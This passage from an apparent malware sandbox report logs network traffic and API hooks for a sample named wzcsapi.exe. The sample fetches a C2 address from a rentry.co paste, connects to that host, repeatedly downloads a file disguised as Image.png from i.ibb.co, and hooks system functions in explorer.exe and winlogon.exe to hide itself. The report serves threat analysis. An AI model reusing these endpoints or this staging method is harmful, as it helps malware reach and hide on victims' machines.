Oct 15, 2024 11:22:14.949110031 CEST	443	52503	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:15.310749054 CEST	443	52503	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:15.310874939 CEST	443	52503	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:15.310926914 CEST	52503	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:15.315097094 CEST	52503	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:15.315114021 CEST	443	52503	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:18.214977980 CEST	52494	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:22:18.219789028 CEST	36538	52494	147.185.221.18	192.168.2.7
Oct 15, 2024 11:22:22.787173986 CEST	52504	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:22.787283897 CEST	443	52504	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:22.787415028 CEST	52504	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:22.787893057 CEST	52504	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:22.787925959 CEST	443	52504	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:23.652817011 CEST	443	52504	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:23.652961016 CEST	52504	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:23.658840895 CEST	52504	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:23.658858061 CEST	443	52504	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:23.659272909 CEST	443	52504	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:23.660406113 CEST	52504	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:23.703418970 CEST	443	52504	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:24.020042896 CEST	443	52504	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:24.020119905 CEST	443	52504	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:24.020313978 CEST	52504	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:24.020807981 CEST	52504	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:24.020814896 CEST	443	52504	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:24.022944927 CEST	52505	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:24.023000956 CEST	443	52505	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:24.023083925 CEST	52505	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:24.023432970 CEST	52505	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:24.023458004 CEST	443	52505	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:24.882096052 CEST	443	52505	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:24.883615017 CEST	52505	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:24.883661032 CEST	443	52505	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:25.241589069 CEST	443	52505	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:25.241662025 CEST	443	52505	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:25.241802931 CEST	52505	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:25.242170095 CEST	52505	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:25.242211103 CEST	443	52505	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:26.881401062 CEST	52506	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:26.881472111 CEST	443	52506	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:26.881690979 CEST	52506	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:26.882097006 CEST	52506	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:26.882131100 CEST	443	52506	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:27.768136024 CEST	443	52506	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:27.773684978 CEST	52506	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:27.773704052 CEST	443	52506	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:28.152811050 CEST	443	52506	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:28.152961016 CEST	443	52506	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:28.153059959 CEST	52506	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:28.153436899 CEST	52506	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:28.153450966 CEST	443	52506	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:28.154016972 CEST	52507	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:28.154129028 CEST	443	52507	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:28.154206991 CEST	52507	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:28.154460907 CEST	52507	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:28.154496908 CEST	443	52507	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:29.027189016 CEST	443	52507	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:29.114901066 CEST	52507	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:34.671673059 CEST	52507	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:34.671710968 CEST	443	52507	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:34.672995090 CEST	52508	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:22:34.677897930 CEST	36538	52508	147.185.221.18	192.168.2.7
Oct 15, 2024 11:22:34.678251982 CEST	52508	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:22:34.692373991 CEST	52508	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:22:34.697277069 CEST	36538	52508	147.185.221.18	192.168.2.7
Oct 15, 2024 11:22:35.032063007 CEST	443	52507	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:35.032129049 CEST	443	52507	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:35.032186985 CEST	52507	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:35.032949924 CEST	52507	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:35.032979965 CEST	443	52507	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:37.037328959 CEST	52509	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:37.037374973 CEST	443	52509	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:37.037441015 CEST	52509	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:37.037852049 CEST	52509	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:37.037861109 CEST	443	52509	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:37.892651081 CEST	443	52509	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:37.892767906 CEST	52509	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:37.894128084 CEST	52509	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:37.894145012 CEST	443	52509	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:37.894927025 CEST	443	52509	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:37.896023989 CEST	52509	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:37.943404913 CEST	443	52509	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:38.249135017 CEST	443	52509	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:38.249275923 CEST	443	52509	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:38.249350071 CEST	52509	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:38.249560118 CEST	52509	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:38.249596119 CEST	443	52509	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:38.250035048 CEST	52510	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:38.250083923 CEST	443	52510	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:38.250179052 CEST	52510	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:38.250376940 CEST	52510	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:38.250406027 CEST	443	52510	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:39.142594099 CEST	443	52510	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:39.143913984 CEST	52510	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:39.143959999 CEST	443	52510	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:39.523911953 CEST	443	52510	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:39.523981094 CEST	443	52510	162.19.58.157	192.168.2.7
Oct 15, 2024 11:22:39.524043083 CEST	52510	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:39.524547100 CEST	52510	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:22:39.524569988 CEST	443	52510	162.19.58.157	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 15, 2024 11:20:27.153187037 CEST	64576	53	192.168.2.7	1.1.1.1
Oct 15, 2024 11:20:27.162574053 CEST	53	64576	1.1.1.1	192.168.2.7
Oct 15, 2024 11:20:33.351094961 CEST	59173	53	192.168.2.7	1.1.1.1
Oct 15, 2024 11:20:33.358406067 CEST	53	59173	1.1.1.1	192.168.2.7
Oct 15, 2024 11:20:40.308948040 CEST	53	56421	1.1.1.1	192.168.2.7
Oct 15, 2024 11:20:41.366416931 CEST	60527	53	192.168.2.7	1.1.1.1
Oct 15, 2024 11:20:41.374453068 CEST	53	60527	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 15, 2024 11:20:27.153187037 CEST	192.168.2.7	1.1.1.1	0x6878	Standard query (0)	rentry.co	A (IP address)	IN (0x0001)	false
Oct 15, 2024 11:20:33.351094961 CEST	192.168.2.7	1.1.1.1	0x3237	Standard query (0)	i.ibb.co	A (IP address)	IN (0x0001)	false
Oct 15, 2024 11:20:41.366416931 CEST	192.168.2.7	1.1.1.1	0x5eb9	Standard query (0)	i.ibb.co	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 15, 2024 11:20:25.756997108 CEST	1.1.1.1	192.168.2.7	0xecf1	No error (0)	windowsupdatebg.s.llnwi.net	178.79.208.1	A (IP address)	IN (0x0001)	false
Oct 15, 2024 11:20:25.756997108 CEST	1.1.1.1	192.168.2.7	0xecf1	No error (0)	windowsupdatebg.s.llnwi.net	87.248.202.1	A (IP address)	IN (0x0001)	false
Oct 15, 2024 11:20:27.162574053 CEST	1.1.1.1	192.168.2.7	0x6878	No error (0)	rentry.co	104.26.2.16	A (IP address)	IN (0x0001)	false
Oct 15, 2024 11:20:27.162574053 CEST	1.1.1.1	192.168.2.7	0x6878	No error (0)	rentry.co	172.67.75.40	A (IP address)	IN (0x0001)	false
Oct 15, 2024 11:20:27.162574053 CEST	1.1.1.1	192.168.2.7	0x6878	No error (0)	rentry.co	104.26.3.16	A (IP address)	IN (0x0001)	false
Oct 15, 2024 11:20:33.358406067 CEST	1.1.1.1	192.168.2.7	0x3237	No error (0)	i.ibb.co	169.197.85.95	A (IP address)	IN (0x0001)	false
Oct 15, 2024 11:20:41.374453068 CEST	1.1.1.1	192.168.2.7	0x5eb9	No error (0)	i.ibb.co	162.19.58.157	A (IP address)	IN (0x0001)	false
Oct 15, 2024 11:20:41.374453068 CEST	1.1.1.1	192.168.2.7	0x5eb9	No error (0)	i.ibb.co	162.19.58.160	A (IP address)	IN (0x0001)	false
Oct 15, 2024 11:20:41.374453068 CEST	1.1.1.1	192.168.2.7	0x5eb9	No error (0)	i.ibb.co	162.19.58.158	A (IP address)	IN (0x0001)	false
Oct 15, 2024 11:20:41.374453068 CEST	1.1.1.1	192.168.2.7	0x5eb9	No error (0)	i.ibb.co	162.19.58.159	A (IP address)	IN (0x0001)	false
Oct 15, 2024 11:20:41.374453068 CEST	1.1.1.1	192.168.2.7	0x5eb9	No error (0)	i.ibb.co	162.19.58.161	A (IP address)	IN (0x0001)	false
Oct 15, 2024 11:20:41.374453068 CEST	1.1.1.1	192.168.2.7	0x5eb9	No error (0)	i.ibb.co	162.19.58.156	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

rentry.co

i.ibb.co

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49731	104.26.2.16	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:20:27 UTC	68	OUT	GET /tranr/raw HTTP/1.1 Host: rentry.co Connection: Keep-Alive
2024-10-15 09:20:28 UTC	700	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 09:20:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 20 Connection: close vary: Origin x-xss-protection: 1; mode=block x-content-type-options: nosniff strict-transport-security: max-age=31536000; includeSubDomains Cache-Control: Vary CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q39fQpjZVqjwk7n458OT06lC%2FXNeAi%2BdIOM%2Bi4sk3CVBIuMjw9q%2F%2FXPnS29tyFuAF6ohH1gndNf3FOWvVx1P4JFVqENzpZN8gzcdLBcITNq4SwlkSmwCeVYmtw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d2ebbbf2a576b37-DFW
2024-10-15 09:20:28 UTC	20	IN	Data Raw: 31 34 37 2e 31 38 35 2e 32 32 31 2e 31 38 3a 33 36 35 33 38 Data Ascii: 147.185.221.18:36538

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49767	169.197.85.95	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:20:34 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49773	169.197.85.95	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:20:35 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49790	169.197.85.95	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:20:38 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49796	169.197.85.95	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:20:39 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	52287	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:20:42 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	52294	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:20:43 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	52317	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:20:46 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	52323	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:20:47 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	52344	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:20:51 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	52350	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:20:52 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	52368	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:20:55 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	52375	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:20:56 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	52397	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:00 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	52403	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:01 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	52419	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:05 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	52430	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:06 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	52447	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:09 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	52458	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:10 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	52474	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:14 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	52481	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:15 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	52484	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:19 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	52485	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:20 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	52486	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:23 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	52487	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:25 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	52489	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:28 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	52490	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:29 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	52491	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:33 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	52492	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:34 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	52493	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:37 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	52495	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:52 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	52496	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:21:55 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	52497	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:22:01 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	52498	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:22:04 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	52499	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:22:06 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	52500	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:22:09 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	52501	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:22:10 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	52502	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:22:13 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	52503	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:22:14 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	52504	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:22:23 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	52505	162.19.58.157	443	6880	C:\Users\user\Desktop\wzcsapi.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:22:24 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	52506	162.19.58.157	443

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:22:27 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	52507	162.19.58.157	443

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:22:34 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	52509	162.19.58.157	443

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:22:37 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	52510	162.19.58.157	443

Timestamp	Bytes transferred	Direction	Data
2024-10-15 09:22:39 UTC	75	OUT	GET /Dwrj41N/Image.png HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
ZwResumeThread	INLINE	explorer.exe, winlogon.exe
NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
